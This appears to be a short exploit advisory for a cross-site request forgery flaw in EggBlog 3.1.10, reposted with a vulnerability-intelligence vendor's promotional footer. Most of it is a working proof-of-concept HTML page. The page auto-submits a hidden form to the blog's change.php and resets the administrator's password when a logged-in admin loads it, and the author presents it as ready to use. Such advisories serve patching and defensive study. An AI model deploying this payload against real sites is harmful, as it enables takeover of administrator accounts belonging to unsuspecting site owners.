EggBlog 3.1.10 XSRF Vulnerability by x0r for admin password chang
`| |
| Project: EggBlog v 3.1.10 |
| Author: x0r |
| Email: andry2000[at]hotmail[dot]it |
|________________________________________________________________________|
Code:
<html>
<title>x0r :P </title>
<form id="forum-form" name="forumform"
method="post" action="http://[site]/[path]/change.php">
<input type="hidden"
size="30" id="forumpassword" name="password" />
<input type="hidden"
name="submit" value="Submit" />
<script>document.forumform.submit()</script>
</form>
</HTML>
With this csrf you can change the admin pass ^ ^
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo